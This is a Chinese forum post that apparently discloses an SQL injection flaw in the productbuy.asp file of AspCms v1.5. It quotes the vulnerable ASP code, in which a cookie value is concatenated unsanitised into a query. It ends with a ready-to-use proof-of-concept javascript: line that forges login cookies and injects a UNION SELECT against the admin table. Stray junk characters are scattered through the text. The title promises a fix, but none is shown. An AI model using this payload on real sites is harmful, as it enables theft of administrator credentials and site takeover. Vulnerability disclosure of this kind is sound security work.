AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
4 @  p) W3 g# ]5 t2 D0 a也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：

<%

if action = "buy" then

        addOrder()
! M* E8 |8 }  r5 Q! q
else

        echoContent()
( |4 @- `' g  B# O9 |
" }; c' K# _) t+ M3 B# dend if

+ S& W0 f, n, @7 b

……略过


7 u/ P; i, ]% D+ K
Sub echoContent()

/ W, d5 V7 I* \) P6 c        dim id

8 D. P2 J8 e; h$ y        id=getForm("id","get")

2 B  r- \+ c) h2 k$ t        
  X9 v( E, G- I+ H, a& B
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
" f/ _- p2 q! G" l. W
- k3 _! N$ w) [/ H        
6 {5 K8 l4 d. p* j% y' O7 N! J
1 p& }0 w9 ~1 O, j7 a9 l: r        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
$ b: c3 j. V' b6 E, ~7 A+ x/ E
  S# x- o1 A' i2 ]7 F        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

        Dim templatePath,tempStr
" I9 K# v2 k& s: m& t% i& G1 F$ Z
& x  i: B, @0 g  y7 ?7 z        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
$ g7 ^# c/ v6 w& Q* T
& K, n8 J2 k5 I3 e

& s5 p( v- s9 S& y! h        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

        selectproduct=rsObj(0)
, r2 C  X! e0 F/ l  C6 ~
3 W7 c& q% z7 J4 _( |        

        Dim linkman,gender,phone,mobile,email,qq,address,postcode
8 A8 C1 c3 E& f6 d9 s9 n
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
3 G; ^2 F5 R. b/ O
        if rCookie("loginstatus")=1 then  
6 B* T) L3 s2 |: l2 k% F/ d- u
  Z+ V; ]% a; B6 l, M: r% }$ ?                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
- }; }1 F& g( A. q2 y4 g
& \9 \6 K7 w0 z- h: @- p                linkman=rsObj("truename")
! S  h" n$ \( ?  q
                gender=rsObj("gender")

                phone=rsObj("phone")

                mobile=rsObj("mobile")
, R5 j/ P8 O" C5 _2 ]+ O8 x
6 Q' w# ?$ L% q' T* w6 c                email=rsObj("email")

                qq=rsObj("qq")
  d8 t7 S7 m* B5 ^0 e# z4 V
2 i+ C2 t8 }8 k4 `# \7 e1 b" ]+ A                address=rsObj("address")
% g  X: ^3 i! `
                postcode=rsObj("postcode")
+ Q) u! K* }1 a/ U  S
        else
  T1 P7 S  K; p6 C3 G( G" s. X
( R: t/ i+ D# l                gender=1

% \" m* p: Z. R- C1 j+ k        end if
# h- I/ B+ F+ U- U) ]
        rsObj.close()

9 I  F/ v5 _" U2 _3 G) r               
) y/ \9 J7 Q; R1 n( `
& A# S5 @# E5 l" S  w        with templateObj

3 t$ E9 J; ]. S7 B' w                .content=loadFile(templatePath)        
+ o! e/ f: Q& T: }  J
                .parseHtml()

0 }& L6 [: l6 v' G                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

- j  }. \4 x7 U+ U' y' R5 Z0 X                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
  Z9 L& Z1 D% k) h2 K) k" T5 [
) X: I0 {* n, j$ |5 R% `                .content=replaceStr(.content,"[aspcms:gender]",gender)               

& c4 W3 |4 U# `. d                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

                .content=replaceStr(.content,"[aspcms:email]",email)                        

                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

! S9 c) I' G7 n4 D8 Q2 Q8 j: R                .content=replaceStr(.content,"[aspcms:address]",address)                        

; T* l( |" P, b( r5 P: ^. g4 C% X7 M                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
; _5 Y' Z$ \9 e! h$ I* M
                .parseCommon()                 

                echo .content

        end with

* k) h- A' ^9 U# k        set templateobj =nothing : terminateAllObjects
3 t- R0 Q( `+ o8 t6 W- H+ |0 ?0 a
End Sub
漏洞很明显，没啥好说的
! n# M' Q$ T% h+ {poc：
7 P/ x6 T$ M; i4 H- ?6 a+ J
: O& z) X% v5 G! o2 {2 ijavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​